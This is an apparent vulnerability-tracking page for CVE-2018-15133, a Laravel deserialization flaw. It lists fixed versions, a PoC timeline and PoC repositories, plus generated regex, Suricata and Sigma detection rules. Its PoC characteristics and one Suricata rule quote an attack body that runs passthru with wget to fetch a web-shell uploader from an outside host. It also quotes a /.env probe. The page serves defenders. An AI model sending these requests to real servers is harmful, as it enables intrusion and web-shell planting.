PoC Monitor
← All CVEs
CVE-2018-15133published 9 Aug 2018 19:00 UTCData: JSON · API

Laravel Framework

Laravel Deserialization of Untrusted Data Vulnerability

In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur as a result of an unserialize call on a potentially untrusted X-XSRF-TOKEN value. This involves the decrypt method in Illuminate/Encryption/Encrypter.php and PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc. The attacker must know the application key, which normally would never occur, but could happen if the attacker previously had privileged access or successfully accomplished a previous attack.

First public PoC 5 daysafter publication · 14 Aug 2018
Public PoCs1816 on GitHub · 2 Exploit-DB, Metasploit or nuclei
CVSS8.1high · scored by CISA ADP · CWE-502
CISA KEV 16 Jan 20245.4 years after publication

Affected versions and mitigation

From the CVE record, GitHub Security Advisories and the vendor's references.

Affected

laravel/framework (Packagist)
  • <= 5.5.40

from GitHub Security Advisory GHSA-qvqm-h22r-4cp9

laravel/framework (Packagist)
  • >= 5.6.0, < 5.6.30

Fixed in 5.6.30

from GitHub Security Advisory GHSA-qvqm-h22r-4cp9

Mitigation

Upgrade laravel/framework to 5.6.30 or later.

Timeline

Days relative to CVE publication
t=0+1 y+2 y+3 y+4 y+5 yCVE published9 Aug 2018 · t = 0First public PoC14 Aug 2018 · t+5dAdded to CISA KEV16 Jan 2024 · t+5.4y

First public PoC 5 days after publication; added to CISA KEV 5.4 years after publication. First PoC: kozmic/laravel-poc-CVE-2018-15133 (created 14 Aug 2018, found by us: backfilled).

PoC repositories

Found on GitHub.

16 PoCs · 1 pending

PoCs 16
RepositoryCreatedStarsAssessment
kozmic/laravel-poc-CVE-2018-15133 14 Aug 2018 +5 d 258 PoC
Bilelxdz/Laravel-CVE-2018-15133 25 Feb 2020 +1.5 y 0 PoC
Prabesh01/Laravel-PHP-Unit-RCE-Auto-shell-uploader 5 Apr 2020 +1.7 y 6 PoC
bukitbarisan/laravel-rce-cve-2018-15133 27 Apr 2020 +1.7 y 0 PoC
AlienX2001/better-poc-for-CVE-2018-15133 9 Nov 2020 +2.3 y 0 PoC
aljavier/exploit_laravel_cve-2018-15133 13 Nov 2020 +2.3 y 57 PoC
h0n3yb/poc-development 17 Dec 2020 +2.4 y 0 PoC via PoC Index
PwnedShell/Larascript 21 Dec 2020 +2.4 y 35 PoC
AzhariKun/CVE-2018-15133 3 Jan 2021 +2.4 y 3 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

NatteeSetobol/CVE-2018-15133-Lavel-Expliot 28 Dec 2021 +3.4 y 0 PoC
Cr4zyD14m0nd137/Lab-for-cve-2018-15133 10 May 2023 +4.7 y 0 PoC
0xSalle/cve-2018-15133 10 May 2023 +4.7 y 0 PoC
yeahhbean/Laravel-CVE-2018-15133 27 Apr 2025 +6.7 y 2 PoC
z3dxian6/gen_laravel_cookie 6 May 2025 +6.7 y 0 PoC
Loaxert/CVE-2018-15133-PoC 19 Nov 2025 +7.3 y 0 PoC
flame-11/CVE-2018-15133-laravel-framework 29 Dec 2025 +7.4 y 0 PoC
Pending 1
RepositoryCreatedStarsAssessment
huydoppa/CVE-2018-15133 unknown 0 Pending · repository unavailable (HTTP 404)

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.

PoC characteristics

What to hunt for in your logs · from 16 PoC repos

GET /

Key headers
Cookie: laravel_session=$(php gen_serialized.php); Cookie: XSRF-TOKEN=eyJpdiI6...
Seen in
2 repos: Loaxert/CVE-2018-15133-PoC, z3dxian6/gen_laravel_cookie
Evidence
Loaxert/CVE-2018-15133-PoC/exploit.py:69 z3dxian6/gen_laravel_cookie/README.md:57

GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Body markers
<?php echo passthru("wget https://raw.githubusercontent.com/Prabesh01/Simple-PHP-File-Uploader/master/uploader.php -O lmao.php");?>= in application/x-www-form-urlencoded
Seen in
1 repo: Prabesh01/Laravel-PHP-Unit-RCE-Auto-shell-uploader
Evidence
Prabesh01/Laravel-PHP-Unit-RCE-Auto-shell-uploader/rce.sh:15

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

GET /
(?i)^/(?:[?#].*)?$
GET /.env
(?i)^/\.env(?:[?#].*)?$
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
(?i)^/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin\.php(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

GET /
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2018-15133 Laravel Laravel Framework exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.header; content:"Cookie: laravel_session=$(php gen_serialized.php)|3b|"; nocase; http.header; content:"Cookie: XSRF-TOKEN=eyJpdiI6..."; nocase; reference:url,poc.griffinguard.io/cve/CVE-2018-15133; classtype:web-application-attack; sid:9606674; rev:1;)
GET /.env
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2018-15133 Laravel Laravel Framework exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/.env"; reference:url,poc.griffinguard.io/cve/CVE-2018-15133; classtype:web-application-attack; sid:9712243; rev:1;)
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2018-15133 Laravel Laravel Framework exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"; http.request_body; content:"<?php echo passthru(|22|wget https://raw.githubusercontent.com/Prabesh01/Simple-PHP-File-Uploader/master/uploader.php -O lmao.php|22|)|3b|?>="; reference:url,poc.griffinguard.io/cve/CVE-2018-15133; classtype:web-application-attack; sid:9838101; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

GET /
title: Laravel Laravel Framework exploit attempt (CVE-2018-15133)
id: gg-pocmon-cve-2018-15133-9606674
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-15133. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2018-15133
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2018.15133
GET /.env
title: Laravel Laravel Framework exploit attempt (CVE-2018-15133)
id: gg-pocmon-cve-2018-15133-9712243
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-15133. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2018-15133
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/.env'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2018.15133
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
title: Laravel Laravel Framework exploit attempt (CVE-2018-15133)
id: gg-pocmon-cve-2018-15133-9838101
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-15133. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2018-15133
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2018.15133